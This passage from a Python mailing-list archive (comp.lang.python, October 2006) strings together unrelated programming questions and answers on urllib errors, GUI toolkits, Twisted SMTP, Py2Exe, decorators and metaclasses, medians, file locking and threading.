than 100 False? > > No but the condition: x > 100, will map all numbers to > either True or False. Can you provide a condition that will > provide a mapping to Nothing and Something? Without > artificially mapping False to Nothing and True to Something? A > B maps to max(0, A-B) or more verbosely, "Remove B items from A items, stopping when there are no more items to remove. What is left over? Something or Nothing?" Likewise, A < B maps to max(0, B-A). -- Steven. From sgreszcz at yahoo.com Wed Oct 18 10:49:12 2006 From: sgreszcz at yahoo.com (Stephen G) Date: Wed, 18 Oct 2006 07:49:12 -0700 (PDT) Subject: MemoryError - IMAP retrieve self._sock.recv(recv_size) Message-ID: <20061018144912.29621.qmail@web88206.mail.re2.yahoo.com> Fredrik, Thanks for the response. I did see that, but having been dated 2005 I thought that it might have been patched. I am also sometimes getting the same problem with the urllib.py module. T his may have to do with the interaction between Python and the mobile optimization client that I am testing. I do not see this problem when using Internet Explorer and the optimization client, nor is there a problem when using Python and no optimization client. I am working with the optimization client vendor to have them test my Python script with their product. This problem is intermittent with the optimization client which is annoying since most of the time it works. Iteration Number 12 18/10/2006 14:01:23 Downloading http://tmotest.de/ftp/3MB.doc Error: problem downloading 3MB.doc error File "C:\Documents and Settings\root\Desktop\TMO\Python scripts\http-v2.3a.py", line 130, in main urllib.urlretrieve(total_URL, downloaded_file) File "C:\Python25\lib\urllib.py", line 89, in urlretrieve return _urlopener.retrieve(url, filename, reporthook, data) File "C:\Python25\lib\urllib.py", line 248, in retrieve block = fp.read(bs) File "C:\Python25\lib\socket.py", line 308, in read data = self._sock.recv(recv_size) I am hesitant to make any changes to the python libraries as I need to distribute these scripts with a standard Python install. I guess an other option is to try and learn something like Perl and recode all the test scripts... From jstroud at mbi.ucla.edu Sun Oct 29 07:44:47 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Sun, 29 Oct 2006 12:44:47 GMT Subject: enumerate improvement proposal In-Reply-To: References: Message-ID: <3n11h.17579$TV3.4798@newssvr21.news.prodigy.com> Fredrik Lundh wrote: > James Stroud wrote: > >> The code is for an economist. She is insistent on starting with the >> first bin as 1. > > leaky abstractions in reverse, in other words? that's not a good design > approach. > > > I'm not sure I understand what "leaky abstractions" means. I am helping someone with dubious programming skills make sense of a pile of code they wrote--code which getting a little unwieldy to debug. I think "design approach" can't really apply here. The idea is to make it comprehensible at some level. I'm still curious what you mean by "leaky abstractions". Please explain. James From belred at gmail.com Tue Oct 3 01:15:15 2006 From: belred at gmail.com (Bryan) Date: Mon, 02 Oct 2006 22:15:15 -0700 Subject: saving an exception Message-ID: hi, i would like to save an exception and reraise it at a later time. something similar to this: exception = None def foo(): ? ? try: ? ? ? ? 1/0 ? ? except Exception, e: ? ? ? ? exception = e if exception: raise exception i have a need to do this because in my example foo is a callback from c code which was originally called from python and i can't modify the c code. with the above code, i'm able to successfully raise the exception, but the line number of the exception is at the place of the explicit raise instead of the where the exception originally occurred. ?is there anyway to fix this? thanks, bryan From kw at kevin-walzer.com Sat Oct 21 10:52:48 2006 From: kw at kevin-walzer.com (Kevin Walzer) Date: Sat, 21 Oct 2006 10:52:48 -0400 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <1161440644.300080.198790@b28g2000cwb.googlegroups.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> Message-ID: <453A3440.8090801@kevin-walzer.com> sturlamolden wrote: > Christophe wrote: > >> Nobody mentionned it, but I think you should try PyQT and PyGTK before >> wxPython. Myself, I do not like wx : it looks too much like the MFC. >> >> PyGTK is good, but GTK doesn't work that well on windows. > > GTK and PyGTK works well on Windows now. GTK used to be unstable on > Windows, but that has been taken care of. I would not use anything else > but PyGTK for GUI development in Python. Go here to get the Windows > port: > > http://www.mapr.ucl.ac.be/~gustin/win32_ports/ > > With PyGTK and GLADE, the GUI can be designed in GLADE and imported as > an XML-resource (using libglade). It saves us of all the tedious > GUI-programming. All that is needed is the event handlers, which we > obviously have to code. When they are done, we simply put references to > them in a dictionary, and tell libglade to dispacth on it. All the GUI > programming crap is hidden away. Since there is no actual GUI code in > Python, it also makes maintenance and upgrading much easier: The GUI > can be redesigned in GLADE without affecting the Python code. Have you > ever tried to change anything in an MFC project with Visual C++? It's a > nightmare. > I'm a Mac developer--Gtk does not run natively on the Mac (i.e. as an Aqua framework), only under X11. So that's a non-starter for me. From maxerickson at gmail.com Thu Oct 19 13:14:51 2006 From: maxerickson at gmail.com (Max Erickson) Date: Thu, 19 Oct 2006 17:14:51 +0000 (UTC) Subject: advice for web-based image annotation References: <4537A934.10604@bryant.edu> Message-ID: Brian Blais wrote: > Hello, > > I want to set up a system where I can have my family members > write comments about a number of pictures, as part of a family > tree project. Essentially, I want them to be able to log into a > website (I already have the webspace, and the server runs python, > but not mod_python), see images, and be able to fill in text > boxes for comments and enter dates for the pictures. These > comments and dates will then be viewable by the others logging > in, so that I can keep track of collect stories, details, dates, > etc...and also, who is writing what, when. > > I've written some basic CGI python scripts, and can imagine how > to do this, but I was wondering if it would better to look into a > framework like cherrypy, turbogears, zope, etc. I have never > done any database programming, but have written CGI scripts to > modify excel sheets and text files to store state. I am not > adverse to learning the database end, but I don't want to climb > that hill unless I feel there is a significant benefit. I don't > have admin rights on the server, if that makes a difference. > > Any suggestions would be greatly appreciated! > > > thanks, > > Brian Blais > You might want to look at gallery: http://gallery.menalto.com/ It is big and heavy and php, but it has most of what you want, an image gallery with user permissions and comments. max From steve at holdenweb.com Wed Oct 4 11:37:24 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 04 Oct 2006 16:37:24 +0100 Subject: How can I correct an error in an old post? In-Reply-To: References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> Message-ID: Jorgen Grahn wrote: > On Mon, 02 Oct 2006 16:36:24 +0100, Steve Holden wrote: > >>Jorgen Grahn wrote: >> >>>On 1 Oct 2006 10:18:59 -0700, barakad at gmail.com wrote: >>>.... >>> >>> >>>>and I wish to add my findings to the post, to prevent others from >>>>taking the wrong path. > > .... > >>>In Usenet terms, make a posting with a References: header which mentions the >>>Message-ID of the bad posting (just like this posting references yours, if >>>you look closely at the headers). That's easier if the posting hasn't >>>already expired on your server, but by no means impossible if it has. >>> >>>/Jorgen >>> >> >>Since this message was never on topic, > > > I disagree; it was a technical question on how to handle a discussion in > this newsgroup, and IMHO that is always on topic -- to a certain point. > > >>I'd appreciate it if all >>concerned would close this thread now. > > > I think you are overreacting. This was a thread with three (3) postings, in > a high-volume newsgroup, with no indication that it would continue (except > maybe with a pointer to whatever posting the OP wanted to correct, or to his > correction). > I probably was. I also missed the (in retrospect, fairly clear) implication that it was an old *c.l.py* post that was being discussed. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From jan.bakuwel at int.greenpeace.org Wed Oct 11 11:15:09 2006 From: jan.bakuwel at int.greenpeace.org (Jan Bakuwel) Date: Wed, 11 Oct 2006 17:15:09 +0200 Subject: Newbie: trying to twist my head around twisted (and python) Message-ID: <12iq2jtbkhna8cf@corp.supernews.com> Hoi all, Please see below a small piece of python code that resembles a smtpserver using the twisted framework. The code is based on the example smtp server discussed in Twisted Network Programming Essentials. The unmodified example code can be found on the O'Reilly website: (http://examples.oreilly.com/twistedadn/, in ch08 subdir). I've removed all the code I don't (the original example write an email received with SMTP to a Maildir; I'll do something else with it). For the sake of the example, the only thing I'll do in eomReceived is print whether the message had any attachments or not, then return a "failed" if a message had any attachments and a "success" if not. According to the book, I need to return a "Deferred result" from the function eomReceived (see ???????? below). In eomReceived, I intend to process the email then either return success or failure. I've been looking at the twisted way of using twisted :-). According to the book "its a little confusing for a start" and I have to agree :-) Does anyone know how I need to complete the code below so it returns this mysterious "Deferred result" and runs? Many thanks in advance, Jan #!/usr/bin/python from twisted.mail import smtp, maildir from zope.interface import implements from twisted.internet import protocol, reactor, defer import os from email.Header import Header from email import message_from_string class MessageHandler(object): implements(smtp.IMessage) def __init__(self, userDir): self.lines = [] #end __init__ def lineReceived(self, line): self.lines.append(line) #end lineReceived def eomReceived(self): # message is complete, store it self.lines.append('') # add a trailing newline messageData = '\n'.join(self.lines) emailMessage = message_from_string (messageData) # return a Deferred result so the client knows whether the # message has been successfully processed if emailMessage.is_multipart(): print "email has attachments" return ?????? failed ??????? else: print "email has no attachments" return ?????? success ??????? #end eomReceived def connectionLost(self): print "Connection lost unexpectedly!" # unexpected loss of connection; don't save del(self.lines) del(self.email) #end connectionLost #end MessageHandler class LocalDelivery(object): implements(smtp.IMessageDelivery) def __init__(self): pass #end __init__ def receivedHeader(self, helo, origin, recipients): myHostname, clientIP = helo headerValue = "by %s from %s with ESMTP ; %s" % (myHostname, clientIP, smtp.rfc822date()) # email.Header.Header used for automatic wrapping of long lines return "Received: %s" % Header(headerValue) #end receivedHeader def validateFrom(self, helo, originAddress): # accept mail from anywhere. To reject an address, raise # smtp.SMTPBadSender here. return originAddress #end validateFrom def validateTo(self, user): print "Accepting mail for %s" % user.dest return lambda: MessageHandler() #end validateTo #end LocalDelivery class SMTPFactory(protocol.ServerFactory): def __init__(self): pass #end __init__ def buildProtocol(self, addr): delivery = LocalDelivery() smtpProtocol = smtp.SMTP(delivery) smtpProtocol.factory = self return smtpProtocol #end buildProtocol #end SMTPFactory if __name__ == "__main__": import sys reactor.listenTCP(10025, SMTPFactory()) from twisted.internet import ssl # SSL stuff here... and certificates... reactor.run() From fredrik at pythonware.com Fri Oct 13 12:05:27 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 13 Oct 2006 18:05:27 +0200 Subject: Line algorithim for python and numeric In-Reply-To: <463ff4860610130857q241ee7afy8bd6c3edde48bb34@mail.gmail.com> References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com> <463ff4860610130857q241ee7afy8bd6c3edde48bb34@mail.gmail.com> Message-ID: Theerasak Photha wrote: > I'm not in kolluge yet and I just learned about linear interpolation > today---although I don't think it would necessarily apply to this > problem, where the increments set by the grid might be more discrete > than the line itself that's usually solved by stepping along the grid in one direction, and interpolating in the other. From MonkeeSage at gmail.com Mon Oct 2 19:45:48 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 2 Oct 2006 16:45:48 -0700 Subject: Making sure script only runs once instance at a time. References: <1159531181.314800.224180@k70g2000cwa.googlegroups.com> <7xk63mpzwr.fsf@ruckus.brouhaha.com> <451D25A3.7010803@googlemail.com> <4520E5E1.3040409@googlemail.com> Message-ID: <1159832748.370619.95190@i3g2000cwc.googlegroups.com> Here's a class using Fredrik's suggestions to provide generic, cross-platform file locking (only tested on *nix however, with the two test files listed [i.e., run test1.py in one terminal then test2.py in another]): http://pastie.caboo.se/15851 Ps. The lockfile should also always be cleaned up (even when your program excepts) because of the magic __del__ method, but I don't guarentee it will be (nor depend on it: I used the pid + hostname in the lockfile approach). Regards, Jordan From martin at v.loewis.de Tue Oct 31 14:24:35 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 31 Oct 2006 20:24:35 +0100 Subject: Missing _init_types in MS VisualStudio 2005 (PCBuild8) In-Reply-To: References: Message-ID: <4547A2F3.6040300@v.loewis.de> Donovan Kolbly schrieb: > I was trying to build Python using MS VisualStudio 2005 (VC++ 8.0) > according to the instructions in PCBuild8/ and got a link error > in config.obj referencing _init_types. That's a known bug, and has been fixed in the subversion repository since. > I (barely) know enough about VS 2005 to add files to the project, so I > added Modules/_typesmodule.c to the pythoncore subproject, and that > seemed to fix it -- I can now build the python executable. That's the correct fix, indeed. Regards, Martin From wdraxinger at darkstargames.de Sun Oct 29 05:40:45 2006 From: wdraxinger at darkstargames.de (Wolfgang Draxinger) Date: Sun, 29 Oct 2006 11:40:45 +0100 Subject: Safely renaming a file without overwriting References: <72sb14-08j.ln1@darkstargames.dnsalias.net> <318d14-t8e.ln1@darkstargames.dnsalias.net> <4qicffFna8baU1@uni-berlin.de> Message-ID: Diez B. Roggisch wrote: > The link/unlink trick of Chetan sounds reasonable, though. It will work only if both source and destination are on the same file system, which means you can't move a file between mount points - at least that's the way how it's defined by POSIX; NTFS supports hard links and soft links, too but I don't know if those got the same constraints. Wolfgang Draxinger -- E-Mail address works, Jabber: hexarith at jabber.org, ICQ: 134682867 GPG key FP: 2FC8 319E C7D7 1ADC 0408 65C6 05F5 A645 1FD3 BD3E From orangestripe at gmail.com Wed Oct 18 01:02:57 2006 From: orangestripe at gmail.com (gel) Date: 17 Oct 2006 22:02:57 -0700 Subject: I would like write some data recovery software In-Reply-To: References: <1161141519.989567.195330@i42g2000cwa.googlegroups.com> Message-ID: <1161147777.083982.123570@m7g2000cwm.googlegroups.com> Dennis Lee Bieber wrote: > On 17 Oct 2006 20:18:40 -0700, "gel" declaimed > the following in comp.lang.python: > > > I would like to write some data recovery software as a learning thing. > > The sort of thing that you would use to recover data from a currupt HDD > > or floppy etc. I would like to be pointed in the right direction as > > far as modules to use and suggested approaches. > > Uh... this is highly OS dependent... You need to be able to do > direct RAW disk sector addressing; something that OSs don't really like > to give to applications. You also need very good documentation of the > file system (and the only file system I know well enough to navigate at > that level is one I haven't used in over a decade -- the file system > used by the Amiga, which was a hashed-head, multiple linked list > scheme). > -- > Wulfraed Dennis Lee Bieber KD6MOG > wlfraed at ix.netcom.com wulfraed at bestiaria.com > HTTP://wlfraed.home.netcom.com/ Yes, OK I guess NTFS would be of most interest to me. From the research I have been doing it may be that it is a fairly in depth undertaking and possibly not such a good project considering my knowledge of NTFS and python. I will have bit more of a look about. Thanks > (Bestiaria Support Staff: web-asst at bestiaria.com) > HTTP://www.bestiaria.com/ From tim.golden at viacom-outdoor.co.uk Thu Oct 5 07:55:54 2006 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Thu, 5 Oct 2006 12:55:54 +0100 Subject: Why do this? In-Reply-To: Message-ID: [Matthew Warren] | Blame outlook and AutoCaps. If number were a number I would write | | print "There are",number,"ways to skin a "+furryanimal You see now that strikes me as a bit mixed up. Why not simply use? print "a", number, "c", string | > altho' print is slated for replacement by a function in Python 3.0 | > at which point they'll be necessary. | | ? Why do that, point me at a PEP if required and I'll read it :) Oft-discussed, and personally I prefer it as a statement, but the edict has gone out. Look at PEP 3100: http://www.python.org/dev/peps/pep-3100/ | That's something I wasn't aware of, and I think I'll try if I find | myself going | | "something"+dict['thingummy']+" red ones and "+dict['colour']+" ones" | | The dict substitution does feel a bit easier to read compared to the | concatenation, because of the dict[' '] noise. Ultimately it's down to you, but I think you may be doing your code a disservice by so assiduously avoiding the %s-style of string building. Your last example suggests that you see the dict-subtitution flavour simply as an alternative to doing "a" + dict[key1] + "b" + dict[key2] etc. I doubt if I've *ever* started with the one and ended with the other; rather I've seen that my code would be more readable if I put/had what I wanted into a dict (or a dict-like object; just has to support __getitem__). An easy example of this is where -- like many, I believe -- I prefer my database rows to come in dict-like objects, rather than the tuples which the dbapi stipulates. Again, like many, I've used or rolled my own wrapper which means I can do things like this, where my dbutils.fetch function returns some kind of object which traps __getitem__ calls for column names and returns the appropriate entry in the underlying tuple: import dbutils db = db_module.connect (...) for row in dbutils.fetch (db, "SELECT * FROM blah"): print "Customer %(name)s (%(id)d) has %(n_orders)d outstanding orders since %(last_order_date)s" % row TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From fredrik at pythonware.com Thu Oct 26 13:02:34 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 19:02:34 +0200 Subject: my first software In-Reply-To: <4qc748Fm34hdU1@individual.net> References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com> <4qc748Fm34hdU1@individual.net> Message-ID: Bjoern Schliessmann wrote: >> #!C:\\Python25 > > Just from curiosity: Since when does the hash bang work in Windows? cygwin? exemaker? some kind of web server? From ian at emit.demon.co.uk Thu Oct 12 04:32:03 2006 From: ian at emit.demon.co.uk (Ian McConnell) Date: Thu, 12 Oct 2006 09:32:03 +0100 Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> Message-ID: <87fyduory4.fsf@emit.demon.co.uk> bearophileHUGS at lycos.com writes: > John Doty: >> Yes. The efficient exact algorithms for this problem use *partial* >> sorts. The Forth one from the FSL is of this class (although I know of >> two better ones for big arrays). But it's tough to beat the efficiency >> of the approximate histogram-based method the Python stats module >> implements. > > The usual way to compute a true median with Python may be: > > def median(inlist): > newlist = sorted(inlist) > index = len(newlist) // 2 > if len(newlist) % 2: > return newlist[index] > else: > return (newlist[index] + newlist[index-1]) / 2.0 > > If you can use Psyco and your FITS lines are really long (well, maybe > too much, the treshold if about >~3000 in my PC) you can use something > like this instead the builtin timsort: > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/466330 > (To compute the median on a image line the median that uses sort is > probably better in most cases, expecially if you use the built in sort > of numerical libraries.) sort() sorts all of the data, but you're only after one or two numbers, so the MODFIND method may be faster for the median: http://www.geocities.com/SiliconValley/Garage/3323/algor.html Ian From mike$#at^&nospam!%trauschus Thu Oct 26 12:10:30 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Thu, 26 Oct 2006 12:10:30 -0400 Subject: PyDev + Eclipse (Was: Re: What's the best IDE?) In-Reply-To: References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> Message-ID: Kenneth McDonald wrote: > > With the most recent edition of PyDev, I find Eclipse works quite well > for me. > Since you mentioned it, I have a question that searching around and poking around has not solved for me, yet. Do you have auto-completion working with your setup? It does not seem to work at all for me. I have read through the configuration help, and there are no firewalls on my system at all, and everything else works save for auto-completion, which I have had to disable. If left enabled, even with low timeouts, I have to kill Eclipse and start it again. :-/ Other than that, I find that it is absolutely wonderful. I have used Eclipse in the past for PHP based projects, and intend on using it for Java projects in the future (my school has Java classes in its curriculum instead of C classes... joy). -- Mike From istvan.albert at gmail.com Tue Oct 3 12:49:54 2006 From: istvan.albert at gmail.com (Istvan Albert) Date: 3 Oct 2006 09:49:54 -0700 Subject: PATCH: Speed up direct string concatenation by 20+%! References: <1159540482.924744.164420@k70g2000cwa.googlegroups.com> <1159545255.339364.299020@k70g2000cwa.googlegroups.com> <1159546522.251704.301530@b28g2000cwb.googlegroups.com> <1159552048.354214.198180@e3g2000cwe.googlegroups.com> <1159762765.943691.139690@b28g2000cwb.googlegroups.com> <1159774531.004015.7390@e3g2000cwe.googlegroups.com> <1159853705.946422.70220@b28g2000cwb.googlegroups.com> <1159855375.951848.195790@m73g2000cwd.googlegroups.com> <1159888289.071764.274400@e3g2000cwe.googlegroups.com> Message-ID: <1159894194.296766.181670@m73g2000cwd.googlegroups.com> I remember a similar patch from some time ago: http://mail.python.org/pipermail/python-dev/2004-August/046686.html i From paul at boddie.org.uk Thu Oct 19 09:58:13 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 19 Oct 2006 06:58:13 -0700 Subject: Install from source on a x86_64 machine References: <1161252731.452070.308570@h48g2000cwc.googlegroups.com> Message-ID: <1161266293.603870.102470@i42g2000cwa.googlegroups.com> Christopher Taylor wrote: > > ok, so where does that leave me. I'm not even sure which files > *should* be put in /lib64 vs lib. I'd imagine that anything which is a .so file (plus the modules which depend on it, I suppose) should be put in the appropriate library directory. Thus, 32-bit libraries should go into /usr/lib/python2.4/site-packages and 64-bit libraries should go into /usr/lib64/python2.4/site-packages. That said, I can see things that I've installed via distutils (and various make; make install combinations) that are in the "wrong" directory. > >>> I guess what I'm expecting is a congifure option to specify where > architecture dependent files should be put. <<< Generally, the install process should respect the prefix (ie. /usr in your case, /usr/local in the default case) and then choose the appropriate library directories below that (ie. /usr/lib, /usr/lib64 in your case), but I can't find anything obvious in the README about specifying architecture-dependent install directories. > Has anyone else mentioned this before? I'd be interested to hear more about this as well. Paul From __peter__ at web.de Wed Oct 18 08:14:44 2006 From: __peter__ at web.de (Peter Otten) Date: Wed, 18 Oct 2006 14:14:44 +0200 Subject: python's OOP question References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> <45334fa9$0$5656$426a74cc@news.free.fr> <1160991239.541020.115320@m7g2000cwm.googlegroups.com> <453382b6$0$8601$426a74cc@news.free.fr> <1161054047.278803.241040@h48g2000cwc.googlegroups.com> <4534a656$0$19612$426a74cc@news.free.fr> <1161159369.957887.285370@m73g2000cwd.googlegroups.com> Message-ID: Neil Cerutti wrote: > On 2006-10-18, neoedmund wrote: >> ivestgating the web, i found something similiar with my approch: >> http://en.wikipedia.org/wiki/Duck_typing >> "Duck-typing avoids tests using type() or isinstance(). Instead, it >> typically employs hasattr() tests" > > It's pity it didn't get called quack typing. That's because the quacks prescribe static typing. Peter From bbull at optiosoftware.com Thu Oct 19 22:59:54 2006 From: bbull at optiosoftware.com (WakeBdr) Date: 19 Oct 2006 19:59:54 -0700 Subject: Can I use decorators to manipulate return type or create methods? In-Reply-To: <1161298362.722062.265520@i3g2000cwc.googlegroups.com> References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com> <4ppla2Fit83qU1@uni-berlin.de> <1161298362.722062.265520@i3g2000cwc.googlegroups.com> Message-ID: <1161313194.211420.236840@b28g2000cwb.googlegroups.com> Diez, I get what that accomplishes now, but I'm having problems in my implementation. I was able to write a standalone class that worked correctly. However, in my code the class that I need to exhibit this functionality inherits from another class. This seems to cause problems when I attempt to implement you solution. Let's say I have two classes that look like the following: class Parent: def getUsers(self, params): raise 'Not implemented' def _toXML(self, result): return result.toXML() def _toList(self, result): return result.toList() class Child(Parent): def getUsers(self, params): return users.query(dbc) Caller object would say something like: ch = Child() ch.getUsersAsXML(params) How would I implement your solution in this scenario. I've tried "marking" the parent method, "marking" the child method, "marking" both, but nothing seems to work. WakeBdr wrote: > Diez, > What does the function._marked accomplish? > > Diez B. Roggisch wrote: > > WakeBdr schrieb: > > > I'm writing a class that will query a database for some data and return > > > the result to the caller. I need to be able to return the result of > > > the query in several different ways: list, xml, dictionary, etc. I was > > > wondering if I can use decorators to accomplish this. > > > > > > For instance, I have the following method > > > > > > def getUsers(self, params): > > > return users.query(dbc) > > > > > > To get the appropriate return types, I also have these methods. I have > > > these convenience methods for every query method in my class. > > > > > > def getUsersAsXML(self, params): > > > return self._toXML(self.getUsers(params)) > > > def getUsersAsDict(self, params): > > > return self._toDict(self.getUsers(params)) > > > def getUsersAsList(self, params): > > > return self._toList(self.getUsers(params)) > > > > > > Instead of creating these three methods for every query method, is > > > there a way to use decorators to manipulate the return type. I'd still > > > like to have the caller use getUsersAsXML, I just don't want to write > > > the AsXML methods for every query method. So the decorator would > > > essentially create the convenience methods instead of me coding them. > > > > > > One solution that I don't want to use is passing a variable into the > > > query method that determines the return type. This is what I don't > > > want to do. > > > def getUsers(self, params, returnType): > > > > > > Any ideas on how I can accomplish this? > > > > Use a metaclass. > > > > class Magic(type): > > def __new__(cls, name, bases, d): > > for name, function in d.items(): > > try: > > function._marked > > def toXML(self, *args, **kwargs): > > return self._toXML(function(self, *args, **kwargs)) > > def toFOO(self, *args, **kwargs): > > return self._toFOO(function(self, *args, **kwargs)) > > d[name + "XML"] = toXML > > d[name + "FOO"] = toFOO > > except AttributeError: > > pass > > return type(name, bases, d) > > > > > > def mark(f): > > f._marked = True > > return f > > > > class MyClass(object): > > __metaclass__ = Magic > > > > def _toXML(self, value): > > return "Look Ma, its XML! %r" % value > > > > def _toFOO(self, value): > > return "Look Ma, its FOO! %r" % value > > > > > > @mark > > def someMethod(self): > > return "Its the data, son" > > > > > > o = MyClass() > > > > print o.someMethod() > > print o.someMethodXML() > > print o.someMethodFOO() > > > > > > > > Diez From python.list at tim.thechases.com Sat Oct 7 18:21:55 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Sat, 07 Oct 2006 17:21:55 -0500 Subject: operator overloading + - / * = etc... In-Reply-To: References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: <45282883.2040509@tim.thechases.com> >> With the caveat of the "=" mentioned in the subject-line (being >> different from "==")...I haven't found any way to override >> assignment in the general case. > > Why would you want to do that? For the same reason one would use property() to create getter/setter functions for a particular variable--to intercept attempts to set a variable. I'm not sure there's an elegant way to do it other than creating a custom container object with a getter/setter using property(). My purpose was just to note that the "=" assignment operator is distinct from the remainder of the operators that you correctly identified can be overridden with their associated __[operator]__ method. -tkc From etienne at marcel.fr Tue Oct 3 17:46:58 2006 From: etienne at marcel.fr (Etienne Marcel) Date: Tue, 3 Oct 2006 23:46:58 +0200 Subject: Checking dependencies with distutils Message-ID: <20061003234658.717de253@linux.fr> Hello, I would like to know if there is something in distutils (or in Python stdlib) which allow me to check for dependencies (shared libraries, headers or any other progs) before building/installing ? I am aware of this nice utility : http://trentm.com/projects/which/ which is useful (and cross platforms) to check if some executables are in the "PATH". Thanks in advance, From percivall at gmail.com Mon Oct 2 19:31:17 2006 From: percivall at gmail.com (Simon Percivall) Date: 2 Oct 2006 16:31:17 -0700 Subject: where the extra space comes from on the stdout References: Message-ID: <1159831877.907144.171210@m73g2000cwd.googlegroups.com> alf wrote: > Hi, > > I can not find out where the extra space comes from. Run following: > > import os,sys > while 1: > print 'Question [Y/[N]]?', > if sys.stdin.readline().strip() in ('Y','y'): > #do something > pass > > $ python q.py > Question [Y/[N]]?y > Question [Y/[N]]?y > Question [Y/[N]]?y > Question [Y/[N]]?y > Question [Y/[N]]?n > Question [Y/[N]]? > Question [Y/[N]]? > > > There is a space evrywhere just before Q > > Any insight? You already got the answer, but as for the rest: It's really easier for you if you use raw_input() for your question/input pair instead. From haraldarminmassa at gmail.com Mon Oct 30 04:56:34 2006 From: haraldarminmassa at gmail.com (GHUM) Date: 30 Oct 2006 01:56:34 -0800 Subject: codecs - where are those on windows? Message-ID: <1162202194.839564.30470@b28g2000cwb.googlegroups.com> I stumbled apon a paragraph in python-dev about "reducing the size of Python" for an embedded device: """ In my experience, the biggest gain can be obtained by dropping the rarely-used CJK codecs (for Asian languages). That should sum up to almost 800K (uncompressed), IIRC. """ So, my question is: on Windows. where are those CJK codecs? Are they by any chance included in the 1.867.776 bytes of python24.dll ? Best wishes, Harald From david at boddie.org.uk Wed Oct 25 08:22:43 2006 From: david at boddie.org.uk (David Boddie) Date: 25 Oct 2006 05:22:43 -0700 Subject: python GUIs comparison (want) References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> <453f16e5$0$28552$426a74cc@news.free.fr> Message-ID: <1161778963.505003.73840@m7g2000cwm.googlegroups.com> Fredrik Lundh wrote: > Christophe wrote: > > Even if you consider that the huge time saving you get out of using Qt > > is worth more than what you pay to acquire a licence? > > then it sounds like a combination between "it's a silver bullet!" and > "commercial software is better than free software!". Well, nobody's stopping you from paying the commercial license fee (to get access to support services) and releasing software under the GPL. > no matter how good Qt is, the reality is that if you spend that much > time on the UI implementation parts of your project, you're probably > developing at the wrong abstraction level -- no matter what toolkit > you're using. and if you're doing UI development the wrong way, chances > are that you're doing other things the wrong way too. You're forgetting that Qt isn't just a widget toolkit. David From daniel.dittmar at sap.com Tue Oct 24 04:35:01 2006 From: daniel.dittmar at sap.com (Daniel Dittmar) Date: Tue, 24 Oct 2006 10:35:01 +0200 Subject: can't open word document after string replacements In-Reply-To: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> Message-ID: Antoine De Groote wrote: > I have a word document containing pictures and text. This documents > holds several 'ABCDEF' strings which serve as a placeholder for names. > Now I want to replace these occurences with names in a list (members). I > open both input and output file in binary mode and do the > transformation. However, I can't open the resulting file, Word just > telling that there was an error. Does anybody what I am doing wrong? The Word document format probably contains some length information about paragraphs etc. If you change a string to another one of a different length, this length information will no longer match the data and the document structure will be hosed. Possible solutions: 1. Use OLE automation (in the python win32 package) to open the file in Word and use Word search and replace. Your script could then directly print the document, which you probably have to do anyway. 2. Export the template document to RTF. This is a text format and can be more easily manipulated with Python. > for line in doc: I don't think that what you get here is actually a line of you document. Due to the binary nature of the format, it is an arbitrary chunk. Daniel From isaac.rodriguez at comcast.net Wed Oct 11 09:42:36 2006 From: isaac.rodriguez at comcast.net (Isaac Rodriguez) Date: 11 Oct 2006 06:42:36 -0700 Subject: Experiences with Py2Exe Message-ID: <1160574156.861514.327390@i42g2000cwa.googlegroups.com> Hi, I am looking for feedback from people that has used or still uses Py2Exe. I love to program in python, and I would like to use it to write support tools for our development team, but I cannot require everyone to install python in their machines, so I was thinking that Py2Exe would help on that. The support tools I write are mostly command line driven (no GUI), but in the future, I would like to write some expert applications that will contain GUI. I was thinking on using wxPython for the GUI, so I was wondering how well behaves Py2Exe with the wxPython module. Other modules I use besides the standard modules are CTypes and the Perforce python module p4.py. I try not to use any of the win32 stuff, but I can see how I will have to for some utilitites, so if anyone has experience with the win32 modules and Py2Exe, any feedback will be highly appreciated. Thanks, Isaac. From tier at inbox.ru Mon Oct 23 04:07:47 2006 From: tier at inbox.ru (Roman Petrichev) Date: Mon, 23 Oct 2006 12:07:47 +0400 Subject: multythreading app memory consumption In-Reply-To: References: Message-ID: <453C7853.3090504@inbox.ru> Dennis Lee Bieber wrote: > On Mon, 23 Oct 2006 03:31:28 +0400, Roman Petrichev > declaimed the following in comp.lang.python: > >> Hi folks. >> I've just faced with very nasty memory consumption problem. >> I have a multythreaded app with 150 threads which use the only and the >> same function - through urllib2 it just gets the web page's html code >> and assigns it to local variable. On the next 